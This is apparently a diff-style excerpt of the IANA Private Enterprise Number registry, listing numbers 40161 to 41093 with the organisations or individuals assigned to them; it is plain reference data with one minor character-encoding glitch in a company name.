+40161 Canal Street Securities
+40162 McCarthy Tetrault
+40163 Kamidama Breedables
+40164 OOO Avtomatizirovannye sistemy (Automated Systems, LTD)
+40165 morrow.me.uk
+40166 Omega Tech Consulting Group LLC
+40167 NS Reizigers B.V.
+40168 Etransmedia Technology
+40169 3xA Security AB
+40170 NP Networks, Inc.
+40171 HF. Radio Communication Technology Co., Ltd
+40172 Closed joint stock company “StandarTelecomâ€
+40173 Hoermann Solutions
+40174 BlueFinch
+40175 RIPAS
+40176 Consulfem
+40177 Right&Above
+40178 Noolitic
+40179 aplicacionesYredes.com
+40180 HTL Kaindorf - Mechatronik
+40181 CyberCenter S.A.
+40182 Sichuan Cable TV Network Co., Ltd.
+40183 con terra GmbH
+40184 NovInTeh LLC
+40185 Esa Unggul University
+40186 DA/Page, LLC
+40187 Aclima, Inc.
+40188 United States Infrastructure Corporation
+40189 Charlton Labs
+40190 JCL-eCommerce GmbH
+40191 Lylid Labs OÜ
+40192 ITQuality
+40193 Institute of Electronic Music and Acoustics
+40194 WaveCloud Corporation
+40195 Zantek Pty. Ltd.
+40196 SANTOS
+40197 JSC CROC POVOLZHYE
+40198 Movirtu
+40199 Szechenyi Istvan SZKI
+40200 Anext
+40201 Nexiway
+40202 Primetech Ltd.
+40203 Golder Associates
+40204 Availity, L.L.C.
+40205 Jackson Family Enterprises
+40206 minivi
+40207 Gerrit Beine GmbH
+40208 S.J.M. Steffann
+40209 Hiroshima University
+40210 Matt-J.co.uk
+40211 SHENZHEN MEGMEET ELECTRICAL CO.,LTD
+40212 PHV - Confluances
+40213 University College Northen Denmark
+40214 ICEANS, Inventive Computer Engineering and Network Service
+40215 ITF-EDV Froeschl GmbH
+40216 Global Traffic Technologies, LLC
+40217 Tesmec Automation
+40218 Witzig The Office Company AG
+40219 Hirtle, Callaghan & Co.
+40220 Northwestern Michigan College
+40221 Infrastructures Technologiques Gallium
+40222 Family Home Care & Hospice, Inc.
+40223 molotov.ro
+40224 Willem4Ever BV
+40225 Image Data Systems
+40226 xNet Solutions Inc. (formerly 'xNetBox Solutions')
+40227 Digital One
+40228 Valley ComputerWorks, Inc. DBA Paragus Strategic I.T.
+40229 VizionR
+40230 Medikon Polska Sp. z o.o.
+40231 Baptist St. Anthony's Health System
+40232 Michel Messerschmidt
+40233 Sanoma Media Netherlands B.V.
+40234 Andreas Zieschang
+40235 Stadt Dortmund
+40236 Diputació de Barcelona
+40237 The Office of the Government Chief Information Officer of the Government of the Hong Kong Special Administrative Region
+40238 RoutoMessaging
+40239 Gruppo Editoriale L'Espresso spa
+40240 OpenSky.com
+40241 Ogden Technology Corporation
+40242 GNS Science
+40243 3U HOLDING AG
+40244 SDAMO Group, LLC
+40245 Böning Automationstechnologie GmbH & Co. KG
+40246 OOO "Laboratoriya Trehmernogo Zreniya"
+40247 GGS German Graduate School of Management and Law
+40248 NPO Telecom JSC
+40249 Vargyas Networks, Inc D/B/A Maxxwave
+40250 Fiber Connections Inc.
+40251 coretanium.net
+40252 Lonnie Mandigo
+40253 RunStone Technology Co., Ltd.
+40254 Particle Software Industries
+40255 Zhiway Technologies CO., Ltd.
+40256 EFG Bank SA
+40257 Arcontia Technology AB
+40258 REWAG Regensburger Energie- und Wasserversorgung AG & Co KG
+40259 BruderhausDiakonie Stiftung
+40260 Mongoose Metrics, LLC.
+40261 KeenSystems B.V.
+40262 Airbnb, Inc.
+40263 Bank of Latvia
+40264 CIRTEC Medical Systems, LLC
+40265 Derbyshire County Council
+40266 zxc ltd
+40267 Anite Travel Ltd.
+40268 KRZN
+40269 Kenshoo ltd
+40270 Flexagon GmbH
+40271 Peconic Bay Medical Center
+40272 SLAC National Accelerator Laboratory
+40273 XeroAtom Group Ltd
+40274 Spire Payments Holdings S.a.r.l.
+40275 blackholearchives.org
+40276 Navy Federal Credit Union
+40277 Cloudant, Inc.
+40278 Ocean-County Monmouth Amateur Radio Club, Inc. (OMARC)
+40279 HAMILTON Bonaduz AG
+40280 Sovtest-Internet Limited Company
+40281 Bottega Verde Srl
+40282 NSB AS
+40283 Soporcel, Sociedade Portuguesa de Papel, SA
+40284 Wavex Technology Ltd
+40285 British Columbia International School, Bangkok
+40286 Siclic SARL
+40287 Perfectly Posh LLC
+40288 Delta Power Solutions India Pvt Ltd
+40289 TransLattice, Inc.
+40290 Government of Dane County, Wisconsin
+40291 Central National Australia Pty Ltd
+40292 Mekelle University
+40293 TG Byte Software GmbH
+40294 OOO "Jewelry House "Kristall"
+40295 dogado Internet GmbH
+40296 stocka
+40297 Hytera Communications Co.,Ltd.
+40298 Thad Touchton
+40299 Peter Janke
+40300 Radialogica, LLC
+40301 Esis Enerji ve Elektronik San. Tic. A.S.
+40302 Oozlum
+40303 Anix Networks, Inc.
+40304 Wacker Neuson SE
+40305 Eletrosul Centrais Elétricas S/A
+40306 Pointstore
+40307 Great River Technology
+40308 Fundația Ceata
+40309 UNICART EOOD
+40310 Cumulus Networks, inc
+40311 ECHOES Technologies SAS
+40312 Denbridge Marine Ltd.
+40313 goRill Solutions
+40314 Universidad Europea de Madrid
+40315 M&L Solution
+40316 VastRiver Technology Co.,Ltd.
+40317 Alltech Group
+40318 Budikom
+40319 Canto GmbH
+40320 Convene Networks
+40321 Vitroconnect GmbH
+40322 Jan Axelsson - DICOM2USB
+40323 Big Nerd Ranch
+40324 The Woman's Christian Association of Jamestown, N.Y.
+40325 Leon Gaming Limited
+40326 Expertize
+40327 Metal Expert LLC
+40328 Yunohost
+40329 Tanaza S.r.l.
+40330 KuVision Digital Technology Ltd
+40331 Micronica srl
+40332 Syn-Apps LLC
+40333 Enthought
+40334 Mercury Security Corp.
+40335 RMTech
+40336 Mericle Technologies, LLC.
+40337 Centers for Medicare and Medicaid Services
+40338 aizoOn Consulting s.r.l.
+40339 Anovio AG
+40340 miersch-IT
+40341 Dalmartin Ltd
+40342 CronLab Ltd
+40343 E-Sales Soluções de Intergração
+40344 Falk Online
+40345 JRE & Associates, Inc.
+40346 Belarusian Universal Commodity Exchange
+40347 DUIT GmbH
+40348 Adaptic AS
+40349 EICSYS GmbH
+40350 Health Sciences Libraries Consortium
+40351 XO Communications LLC
+40352 American Electric Power
+40353 Cirrus Software Engineering LLC
+40354 Suttle Apparatus
+40355 Domantic
+40356 IT-CE
+40357 Michael Buth - IT Consulting
+40358 Mercado Libre S.R.L.
+40359 Zeppelin GmbH
+40360 IP Total Software S.A
+40361 Xenya d.o.o.
+40362 Cambridge Communication Systems
+40363 Galambos Dániel
+40364 Trinity Desktop Project
+40365 Weichi Consulting LLC
+40366 SHadrinsky Telephonny Zavod (SHTZ)
+40367 Elcom International Pvt Ltd
+40368 DATA-1 Ltd.
+40369 gruppenrichtlinien.de
+40370 Socialbakers a. s.
+40371 Forcare B.V.
+40372 Celab Ltd
+40373 HealthForce Partners
+40374 ODYA Bilgisayar ve Teknoloji Urunleri San. ve Tic. Ltd. Sti.
+40375 Bayport Financial Services
+40376 Astorex Corp
+40377 Independence School District
+40378 Innovative Technology Solutions, Inc.
+40379 Lower Bucks Hospital
+40380 Arkologic, Inc.
+40381 Golub Capital
+40382 Klimat prof Co.
+40383 CAME CANCELLI AUTOMATICI SPA
+40384 Association of friends of japanese culture (SPJK)
+40385 Rose Datasystems Inc.
+40386 Instituto Nacional de Segurança Social
+40387 Mediatree SAS
+40388 Eurosel
+40389 Facultad Regional Cordoba Universidad Tecnológica Nacional
+40390 Shale-Inland Holdings, LLC
+40391 Ecks Three Ltd
+40392 MDV Soft
+40393 Phantasy Concepts
+40394 Optogan Group
+40395 25-Seven Systems
+40396 LUMINO Licht Elektronik GmbH
+40397 Piratepartei Lëtzebuerg
+40398 Scout Trading LLC
+40399 Huneed Technologies Co.,Ltd
+40400 CortijoDelRio.net
+40401 VidScale, Inc.
+40402 Cryptonector, LLC
+40403 Detached
+40404 Vestiaire Collective
+40405 UAB Fortevento
+40406 Cadis
+40407 Smartbox Experience Limited
+40408 Philip Cullen Ltd
+40409 YEEJOIN (BEIJING) TECHNOLOGY COMPANY LIMITED
+40410 boxEleven
+40411 PaansNet
+40412 Option Computers Ltd
+40413 Concordus Applications Inc.
+40414 New England Baptist Hospital Inc.
+40415 symThoughts
+40416 Hectronic GmbH
+40417 SUNSEA OPMEX Technologies Co., Ltd.
+40418 NAG LLC
+40419 PAWI Verpackungen AG
+40420 Tuxum Secure Systems, S. L.
+40421 adorsys GmbH & Co. KG
+40422 Solutionary, Inc.
+40423 Osceola County Board of County Comissioners
+40424 TJ Samson Community Hospital
+40425 Laird Technologies
+40426 Unified Communications Inc.
+40427 Kodofon JSC
+40428 SwiftServe Limited.
+40429 Utoolity GmbH
+40430 ZinuSoft S.A. de C.V.
+40431 Dracal technologies inc.
+40432 SquareOne Networks, Inc
+40433 Census Digital Inc.
+40434 Huntington National Bank
+40435 Cyara Solutions Pty Ltd
+40436 dba Glen Black
+40437 Polcom Sp. z o.o.
+40438 Otto-Friedrich-Universität Bamberg
+40439 I M Skaugen SE
+40440 restfarbe.de
+40441 DarkDNA
+40442 OnApp
+40443 Computer Rehab
+40444 ETEK TECHNOLOGY SHENZHEN CO., LTD.
+40445 TRADERS S.A.
+40446 Ordbogen A/S
+40447 FAVITE Inc.
+40448 Ratocsystems, Inc.
+40449 Max-Planck-Institut fuer extraterrestrische Physik
+40450 University of Ottawa Heart Institute
+40451 Allens, Inc.
+40452 Care Team Connect Inc.
+40453 School District #59 (Peace River South)
+40454 Jaguar Network
+40455 TMM.CX
+40456 Radio Systems Ltd
+40457 Zen Entertainment, Inc.
+40458 East Tennessee State University
+40459 Paymark Limited
+40460 SHENZHEN SUPER RICH TECHNOLOGY CO.,LTD
+40461 Mirzo Ulugbek Professional College of Informatics
+40462 CIDEON
+40463 TROY Group, Inc.
+40464 a4ESSOR SAS
+40465 ZETA6 Computer Systems LLC
+40466 West Monroe Partners, LLC
+40467 Netronome Systems, Inc.
+40468 LSE Leading Security Experts GmbH
+40469 Arkansas Heart Hospital
+40470 Ecodota - Ecolo federal asbl.
+40471 Zimory GmbH
+40472 Synapture
+40473 Chiang Mai International School, CMIS
+40474 ALAGAS NETWORK PTE LTD
+40475 Earthworks inc. (formerly 'iWeave inc.')
+40476 Winnertel
+40477 geomedia
+40478 LevelOne Communications GmbH
+40479 40mm Holdings, LLC
+40480 OTS Logistics Group, Ltd.
+40481 MiMedia.com, Inc.
+40482 Pure Storage
+40483 Volta electronics srl
+40484 Auroville Foundation
+40485 Online.net
+40486 State of Nevada Dept of Employment Training and Rehabilitation
+40487 Timesafer Inc.
+40488 Staiger, Schwald & Partner AG
+40489 Mintlab B.V.
+40490 The Dot Net Factory, LLC
+40491 Uceem Networks Inc.
+40492 Balsec GmbH
+40493 Toyota Adria d.o.o.
+40494 Ditenity Inc.
+40495 ADVANCEDDIGITAL INC.
+40496 Shanghai Aerospace Automobile Electromechanical Co.,LTD
+40497 CROSS Zlin a.s.
+40498 Third Sight Pte. Ltd.
+40499 SOCEL VISIONOR
+40500 DAN electronic Ltd
+40501 MAF Consulting Ltd
+40502 AT Consulting
+40503 University of Louisville Hospital
+40504 Kamil Bujniewicz
+40505 OUTSCALE
+40506 NSC corpration
+40507 TravelSky Technology Limited
+40508 Dynamic Telecom
+40509 VoipSwitch
+40510 Fourth Sector Innovations
+40511 DoGi Enterprise
+40512 Hamid Saeed
+40513 weifang mingji technology co., LTD
+40514 Shenzhen Howah Network Communication Co., Ltd
+40515 Boivie Inc
+40516 Staffordshire County Council
+40517 Shenzhen Herotel Tech. Co.,Ltd.
+40518 Foresight
+40519 sprd.net AG
+40520 Novareto
+40521 Metacloud, Inc
+40522 myoscience Inc
+40523 Eau De Web
+40524 Realex Payments
+40525 Business Intelligence Direct Limited
+40526 REGISTRO PUBLICO DE PANAMA
+40527 Bank of Canada
+40528 Kod Integrations, LLC
+40529 Massxess
+40530 Agence universitaire de la Francophonie
+40531 Dr. Stolyarenko Medical Center
+40532 Zeptonics Pty. Ltd.
+40533 Voice of Russia
+40534 Signamax, a.s.
+40535 SVYAZKOMPLEKTSERVICE, LLC
+40536 Wieland-Werke AG
+40537 Null Ventures LLC
+40538 Seal Maker Produktions- und Vertriebs GmbH
+40539 Aquto
+40540 LPAR2RRD
+40541 MecSys
+40542 SDL Fredhopper
+40543 Udruga P.O.I.N.T.
+40544 Impedance Mismatch LLC
+40545 Insight Enterprises, Inc.
+40546 Tentixo NG AB
+40547 Aadvanced Filtering Services
+40548 id3as
+40549 synchroad.com
+40550 OZtell
+40551 Bootable Cluster CD
+40552 Salcininku rajono savivaldybes administracija
+40553 "Bulgartabac-Holding" AD
+40554 Tecom
+40555 Garz & Fricke GmbH
+40556 Moving Possibilities LLC
+40557 Triodos Bank NV
+40558 Elecmor
+40559 BPCE
+40560 Norsat International Inc.
+40561 Alloy Computer Products (Aust) Pty Ltd
+40562 Open Broadcast Systems Ltd
+40563 Christine Steup Unternehmensberatung
+40564 StrikeAd LCC
+40565 Berufsbildende Schulen Technik
+40566 Forte Automation System, Inc.
+40567 Melodon Software Inc.
+40568 Tredegar Corporation
+40569 HERNIS Scan Systems AS
+40570 RFOptic
+40571 SRT Communications, Inc.
+40572 Carlos Domingues
+40573 vklop.com
+40574 Ukrainian Computer Laboratory ltd.
+40575 Touro Infirmary
+40576 NovaTech, LLC
+40577 KOCH
+40578 Computing Point Limited
+40579 Vistula University
+40580 GlobalSite UK
+40581 Big Dutchman ltd.
+40582 iBlocks Ltd.
+40583 Federal Service State Registration, Cadastre and Cartography in Moscow
+40584 Petersburg State University of Railways Transport
+40585 Box UK, Limited
+40586 Rocky Mountain College
+40587 Neptec OS, Inc.
+40588 TrikeApps Pty Ltd
+40589 Indochina Telecommunication Technology JSC (ITT)
+40590 ClickBridge Inc
+40591 Avateq Corp.
+40592 IDK CORPORATION
+40593 Iberdrola USA Management Corporation
+40594 ilogixx Limited
+40595 NB Software
+40596 ComTec!Fütterer
+40597 NetProbe, Llc
+40598 Geopost UK Ltd
+40599 Quick OID Registry (quick-oid.org) (Roman Rybalko)
+40600 EWA Ltd
+40601 Emaris Limited
+40602 Vytautas Magnus University
+40603 Harvard Pilgrim Health Care
+40604 Geosync Microwave, Inc.
+40605 Unassigned
+40606 Scripps Health
+40607 Menara Netowrks
+40608 Bars NPK Ltd.
+40609 Nordstrom
+40610 Docstoc, INC
+40611 Key Software Develpment
+40612 SoftPro S.r.l.
+40613 Instituto Tecnológico de Informática
+40614 GUANGDONG EAST POWER CO.,LTD.
+40615 Olympus Corporation of the Americas
+40616 Pragmatica, LLC
+40617 WiMacTel, Inc
+40618 Intechne Tecnologia da Informação
+40619 First Gulf Bank PJSC
+40620 Welcome Italia spa
+40621 Centrum Holdings, s.r.o.
+40622 Covea Insurance plc
+40623 Morgowicz Inc
+40624 Willops Management
+40625 SBO "Centre of Information Technology of the Orenburg region"
+40626 Web de Confianza Andaluza S.Coop.And.
+40627 Jefferson Regional Medical Center
+40628 FormPipe Software A/S
+40629 Lexington, S.L.
+40630 Crexendo, Inc.
+40631 AVA Communications
+40632 Trüb AG
+40633 "Scan Engineering Telecom" CJSC
+40634 Willway, S.A.
+40635 opvizor GmbH
+40636 Use System Engineering B.V.
+40637 Deliservice Punnitse & Säästä Oy
+40638 BSC Nutrition LTD
+40639 PROFI-UC Ltd.
+40640 Polisnab JSC
+40641 Dierichsweiler Unternehmens- und Prozessberatung GmbH
+40642 Gardado s.r.o.
+40643 Broadpeak
+40644 Formanek
+40645 UFAL - Universidade Federal de Alagoas
+40646 iNet Telecoms Ltd (Voipfone)
+40647 HELVETAS Swiss Intercooperation
+40648 AREAL
+40649 Acumentrics Corporation
+40650 InterMedia Enterprises
+40651 Beijing Huasun Unicreate Technology LTD.
+40652 Illinois Wesleyan University
+40653 Bittoo
+40654 Consórcio de Informática na Gestão Pública Municipal
+40655 Nanjing Wlanease Co., Ltd.
+40656 State independent уestablishment Tula region center of information technologies
+40657 experience4you GmbH
+40658 Delta Meccanica S.r.l.
+40659 Oregano Systems – Design & Consulting GesmbH
+40660 Southern Record Distributors Ltd.
+40661 Airwave Solutions
+40662 NISZ Co.
+40663 Kupson spol. s r.o.
+40664 Noblis, Inc.
+40665 Akron Group
+40666 Zito Media
+40667 BRToken Ind. e Com. de Produtos Eletrônicos Ltda.
+40668 NEC New Zealand Ltd
+40669 Microlab RF Ltd
+40670 Lanka Government Information Infrastucture
+40671 Radinet Communications Inc.
+40672 Fiber SenSys, Inc.
+40673 Unigine Inc.
+40674 SAIT (formerly 'SAIT Zenitel')
+40675 geiger BDT GmbH
+40676 Microsemi Corporation
+40677 RKF Engineering Solutions, LLC
+40678 Nexura Internacional S.A
+40679 Centre Hospitalier de Fougeres
+40680 La Trobe University
+40681 ELNO
+40682 Thanis.org
+40683 Open Grid Europe GmbH
+40684 Appdynamics
+40685 Kafinated Kode, Inc
+40686 Issac Systems Inc.
+40687 ezamber
+40688 Kum and Go
+40689 Digital Processing Systems
+40690 MBTechnology Ltd
+40691 Crosstel Inc
+40692 The ZAP Group
+40693 Inter Vehicle Communication
+40694 antrou
+40695 BitPlanet Inc.
+40696 IDENETWORK
+40697 Alma Manu Oy
+40698 TeliSwitch Solutions
+40699 LexSoft, LTD
+40700 M-Cube S.p.A.
+40701 Vitera Healthcare Solutions
+40702 San Mateo Medical Center
+40703 Hokkaido Tracks
+40704 Amstar Creative Ltd
+40705 Signal Processing Devices
+40706 AGMF Prévoyance Union de mutuelles soumise au livre II du Code de la Mutualité - Filiale de GPM
+40707 Aleturo Group
+40708 Rhythm Engineering, LLC
+40709 Jiaheng Medical Technology Co., Ltd.
+40710 Grasshopper
+40711 DSTA S.L.
+40712 DHCPCD Project
+40713 Migame.org
+40714 Accelera Mobile Broadband, Inc.
+40715 Innerworkings
+40716 Kyle Brantley
+40717 Conde Nast
+40718 RelySys Technologies India Private Limited
+40719 The Lubrizol Corporation
+40720 Texas Department of Public Safety
+40721 FormFactor, Inc.
+40722 HUVITZ
+40723 New Zealand Defence Force
+40724 Ubisoft Entertainment
+40725 Intune Networks Limited
+40726 CIPHRON GmbH
+40727 Cosium
+40728 Falck Danmark A/S
+40729 LAND-DATA GmbH
+40730 Neocom Software Ltd.
+40731 Elephant Talk Communications Corp.
+40732 IEEE 2030.5 Working Group
+40733 Sabzfaam ICT
+40734 Karina Mobile Solutions
+40735 DoctuSoft Ltd.
+40736 Audeo, Inc.
+40737 National Labor Relations Board
+40738 The Children's Institute of Pittsburgh
+40739 Affirmative Insurance Holdings, Inc.
+40740 DirectOut GmbH
+40741 Flying Horse Productions, LLC
+40742 PDI Ninth House
+40743 Reissmann IT-Services
+40744 Center for Translational Molecular Medicine (CTMM TraIT)
+40745 WiValley, Inc
+40746 GOZUBUYUKOGLU
+40747 Radiant Logic, Inc.
+40748 IONODES Inc.
+40749 Corfire (SK C&C USA) Inc.
+40750 Synrc Research Center
+40751 Homemail - Ross Johnson
+40752 Barricane Technology Ltd.
+40753 Beijing Time Antaeus Media Technology Co.,Ltd
+40754 Liikennevirasto TVT
+40755 Acticom
+40756 K.W.Doggett Fine Paper
+40757 MOSCOW COMMERCIAL BANK MOSCOMPRIVATBANK ZAO
+40758 Eltek Polska
+40759 DKV MOBILITY SERVICES BUSINESS CENTER GmbH + Co. KG (formerly 'EGRIMA BuisnessCenter')
+40760 TOMRA Systems ASA
+40761 Mideye AB
+40762 Hitec Electric b.v.
+40763 Kennedy University Hospitals, Inc.
+40764 Resonate Insights
+40765 hSenid Software (Singapore) PVT Limited
+40766 Xenode Co. Ltd.
+40767 Reporting Estándar S.L.
+40768 Hotwords Tecnologia
+40769 VendScreen
+40770 Partheas
+40771 VISUAPPS GmbH
+40772 SuperMedia, LLC
+40773 The Prosecutor General`s Office of Ukraine
+40774 NagSNMP
+40775 TripodWorks CO.,LTD.
+40776 Kalyan Kadiyala
+40777 Qin Technology SpA
+40778 Unassigned
+40779 2reallife
+40780 Smartpipe Solutions
+40781 Cynaptica
+40782 Dyne System Co., Ltd
+40783 icoMetrix
+40784 Kumahira Co., Ltd.
+40785 Optro Co.,Ltd
+40786 Unassigned
+40787 Compumatica secure networks
+40788 Abegglen Management Consultants AG
+40789 Logix
+40790 Simple Solution Technologies LLC
+40791 Beijing OMATE Digital Technology CO.,Ltd
+40792 Express-Interfracht Internationale Spedition GmbH
+40793 Andelskassen JAK
+40794 IG Metall Vorstandsverwaltung
+40795 otaku-realm.net
+40796 ICBPI S.p.A.
+40797 Sidion
+40798 3D-P
+40799 Swiss International Air Lines Ltd.
+40800 Smart Refill i Helsingborg AB
+40801 FiveCo
+40802 Indra Navia as
+40803 netRapid GmbH & Co. KG
+40804 ULTEO
+40805 Nimbus Directory Services
+40806 ICBTECH d.o.o.
+40807 semyon.org
+40808 Wi-Fi Alliance
+40809 Tohoku Gakuin University
+40810 BUPT-GUOAN Broadband Network Technology Co.Ltd
+40811 WebSistem
+40812 Die Firma GmbH
+40813 Agenturadmin.de
+40814 Garden City Hospital
+40815 Dr. Thalmair
+40816 Ecodigi Tecnologia e Serviços Ltda.
+40817 Dr. Martin Froehlich
+40818 CYG SUNRI CO.,LTD
+40819 Provident Solutions LLC
+40820 OpenIPMI
+40821 Public Protector South Africa
+40822 Hagedorn Informationssysteme GmbH
+40823 NVable Limited
+40824 Qore Technologies, sro
+40825 VeriTeknik
+40826 Short Films 4 U Limited
+40827 Lifelan Technology Co., LTD.
+40828 CHIeru Co., Ltd.
+40829 Cambridge Industries Group (CIG)
+40830 Qiaoy.info
+40831 Domenikss SIA
+40832 MicroNova AG
+40833 Hytec Electronics Ltd
+40834 Kübler IT
+40835 Department of Microelectronics and Computer Science, Lodz University of Technology
+40836 Blackbird Group, Inc.
+40837 iTech Comércio Importação e Exportação de Componentes Eletrônicos LTDA
+40838 Commune de Niort
+40839 SARDA South Wales
+40840 Rainydayz
+40841 n-Systems GmbH & Co. KG
+40842 A10 Networks
+40843 Chatmongers, LLC
+40844 MAC&C LLC
+40845 Veris Industries
+40846 Endurance Services (formerly 'Montpelier Technical Resources Ltd')
+40847 Académie de Versailles
+40848 VeriFyle, Inc.
+40849 Ceiec Electric Technology Inc.
+40850 Kongsberg Spacetec AS
+40851 IPContact Software
+40852 Main Line Health Inc.
+40853 ATOSS CSD Software GmbH
+40854 WH Ireland Limited
+40855 University of Pittsburgh
+40856 Tofino Security
+40857 Mira Soft
+40858 ModemTec, spol. s r. o.
+40859 VOSGELIS
+40860 Protocom Technology
+40861 Silent Softwares Pvt. Ltd.
+40862 Systema Technologies SA
+40863 UP-nxt
+40864 Larcan Inc
+40865 Majorpower Corporation
+40866 Arcusys Oy
+40867 Boardroom Pty Limited
+40868 Genew Technologies Co.,Ltd
+40869 TAIWAN-CA Inc.
+40870 Closed Joint Stock Company Interfax
+40871 poweroasis
+40872 Pardazeshgaran Saman Banking Solutions
+40873 Semafone Limited
+40874 LL Control Solutions International (PTY) Ltd
+40875 OfficeCore
+40876 Pressens Fællesindkøb
+40877 myprocurement
+40878 Venere Net Srl
+40879 VERION TEKNOLOJI A.S.
+40880 DBI Software, Inc.
+40881 Mutualink Inc
+40882 Step One AS
+40883 Beijing CangLang TV Technologies Co., Ltd.
+40884 Instituto Federal Fluminense - IFF
+40885 ELCUS
+40886 Kommunales Rechenzentrum Minden-Ravensberg/Lippe
+40887 Edeka Minden-Hannover IT-/logistic service GmbH
+40888 Universitaetsklinikum Tuebingen
+40889 Global Invacom Ltd
+40890 Hardomo
+40891 RDC, Inc. dba LynTec
+40892 abimus
+40893 University of the Arts Helsinki
+40894 Cory-Net
+40895 VRVis Zentrum für Virtual Reality und Visualisierung Forschungs-GmbH
+40896 Pearson Technology
+40897 C.S. Veritas
+40898 Cirries Technologies Inc.
+40899 Evo Group Technologies, Inc.
+40900 Cybersmart Ltd
+40901 Courtney.org.za
+40902 TransLink - South Coast British Columbia Transportation Authority
+40903 Thongfforong.cyf
+40904 Brisbane City Council
+40905 Altronix Corporation
+40906 Divitel Development Lda
+40907 OOO Adicom
+40908 Autoritatea Naţională pentru Administrare şi Reglementare în Comunicaţii - ANCOM
+40909 BigBrother Security Systems
+40910 Bradley University
+40911 Freedompay, Inc.
+40912 Kulcs-Soft Nyrt.
+40913 QEM Software Ltd.
+40914 Symanitron
+40915 WANdisco, Inc
+40916 Berico Technologies
+40917 Lender Processing Service
+40918 ResponseTap Limited
+40919 Vnomics
+40920 Icahn School of Medicine at Mount Sinai
+40921 MikroM Mikroelektronik für Multimedia GmbH
+40922 Telydata Cía. Ltda.
+40923 Isle of Capri Casinos, Inc.
+40924 aYaline
+40925 Trenkwlader Solutions, s.r.o.
+40926 Majic
+40927 SID Solutions Inc.
+40928 Esprit Digital Ltd
+40929 Barrett Consulting Group Pty Ltd
+40930 MAGREX Co. Ltd.
+40931 Victorian Electoral Commission
+40932 SuccWare (Beijing) Software System Co., Ltd
+40933 QiZhi Technologies
+40934 LIG Nex1
+40935 LTD "MedScann"
+40936 St. Elisabeth Convent
+40937 Axelprod GSM Transmission
+40938 MobileIron Inc.
+40939 Alphonso
+40940 ROYAL NEW ZEALAND PLUNKET SOCIETY INCORPORATED
+40941 Tamara Elektronik Ltd.Sti.
+40942 logic-base GmbH
+40943 XHONIA
+40944 Bitlomat LLC
+40945 Oak Solucoes em Informatica LTDA EPP
+40946 Yuriy Moskovets
+40947 Metromatics Pty Ltd
+40948 BiTMICRO Networks, Inc.
+40949 Smart Grid Billing, Inc
+40950 JSC Stock Company OZNA
+40951 uAnywhere
+40952 S3 ID Ltd
+40953 Unassigned
+40954 Ivar Jacobson International AB
+40955 Campbell County Hospital District
+40956 SEAKR Engineering Inc
+40957 Dexa Systems, Inc
+40958 Geneity Ltd
+40959 Optical Zonu Corporation
+40960 Witelcom AS
+40961 Axxes
+40962 SDL - Language Weaver
+40963 Jacques Ledoux
+40964 Stone Fifteen Design Group
+40965 Louisiana State Board of Medical Examiners
+40966 Ronald.ORG
+40967 SVIAT Ltd.
+40968 Nirvanix, Inc.
+40969 Tobila Systems, Inc.
+40970 LRD23 Consulting LLC
+40971 Audioptic Trade Services
+40972 SFR
+40973 Freeside Atlanta
+40974 Kim Johnsson
+40975 Applied Communication Sciences
+40976 Videotrec Industrial Co. Ltd.
+40977 Inter-M
+40978 AZElectronic
+40979 Newell Rubbermaid - DYMO Corp.
+40980 creatale GmbH
+40981 Facebook, Inc.
+40982 ROARING FORK SCHOOL DISTRICT
+40983 Trinity Solutions, Inc.
+40984 Fastback Networks
+40985 Clearview Systems, LLC
+40986 JVL Ventures / Isis Mobile Commerce
+40987 Quality Software Works
+40988 Justin Obernier
+40989 GLsun Science and Tech Co.Ltd
+40990 Domain Name Services
+40991 tedox KG
+40992 vijay. Pvt. Ltd
+40993 HD Vest Inc.
+40994 LLC "AIS Gorod"
+40995 DLG Automacao Industrial Ltda
+40996 SilverRail Technologies, Inc.
+40997 Armonti Digital Services
+40998 DomaCom Pty Ltd
+40999 Ribose Inc
+41000 mykarte.com
+41001 Cuattro, LLC.
+41002 Biotest AG
+41003 Workers' Compensation Board - Alberta
+41004 Clackamas County
+41005 IntelliBatt, Inc.
+41006 Ineluctable Designs
+41007 IMBC GmbH
+41008 EMTS Telecom Services Ltd.
+41009 Info-M Ltd.
+41010 FlyingVoice Technology Ltd.
+41011 LanPro Inc.
+41012 tmakinen.com
+41013 Miyagi University of Education
+41014 Attam Ltd
+41015 Intelligenza
+41016 Héonium SARL
+41017 EDV-Studio Stephan Konheiser
+41018 WaldiNetwork Ltd. Home
+41019 Axians
+41020 GetOnline Ltd
+41021 Gensicke
+41022 van Rens IT Consultancy
+41023 BAITS Global
+41024 BG Unfallklinik Murnau
+41025 Lorillard Tobacco Company
+41026 DealerTrack
+41027 Direct Line Insurance Group PLC
+41028 Delphix Corp
+41029 The Orvis Company Inc.
+41030 JAI Inc.
+41031 Axeos Services B.V.
+41032 VeriCom AB
+41033 Amor Group
+41034 Systems With Intelligence Inc.
+41035 TM Systems, LLC
+41036 Corero Network Security
+41037 Edgepoint IT Services
+41038 Gridcore AB
+41039 adidas AG
+41040 Scientific & Research Center Epsilon
+41041 Fairpersonal GmbH
+41042 tinNet - Lukas Barth
+41043 Radius, LLC
+41044 SohnTech Solutions, LLC.
+41045 Rover Apps, LLC
+41046 Driven Technical Solutions
+41047 Sestek Communications Inc.
+41048 NETIFY
+41049 Erudio Solutions
+41050 Raspmon
+41051 MBIA Inc.
+41052 IntraFind Software AG
+41053 musicute project - Rouven Raudzus
+41054 Dinamo Networks
+41055 Esquisse Software Studio
+41056 telco Management & Service GmbH
+41057 FANCYRABBIT.ORG
+41058 Loggly Inc.
+41059 Petromoc
+41060 M-D Technology
+41061 SOLUTI Certificacao Digital
+41062 NuScale Power LLC
+41063 Asynchrony, Inc.
+41064 CheckMySystems Ltd.
+41065 Alea Iacta Est
+41066 Shaanxi Tians Information & Technology Co.,Ltd.
+41067 Quantitative Risk Research, S.L.
+41068 Shenzhen RHC technology Co.,Ltd
+41069 insystem
+41070 WhereGroup Gmbh & Co. KG
+41071 Servicios Electrónicos Universitarios, S.A.S.
+41072 Domogik
+41073 Openreach
+41074 voestalpine group-IT GmbH
+41075 Edge S.A.
+41076 The Probe Project Ltd
+41077 iOWA AB
+41078 Apteka Alpi Farm
+41079 autocrash.info
+41080 IT-EASY Berlin
+41081 LLC Okey
+41082 Altarix-Samara
+41083 Shanghai Ruiyuan Information Technologies Co.,Ltd.
+41084 ALTELL Ltd.
+41085 Isida-Informatica, Ltd
+41086 Trafikselskabet Movia
+41087 Automation NV/SA
+41088 TCUBE
+41089 Neptune Internet Service
+41090 Shanghai HEADING Information Engineering Co., Ltd.
+41091 Libra Srl
+41092 Dynamic Systems, Inc.
+41093 Bareos GmbH & Co. KG
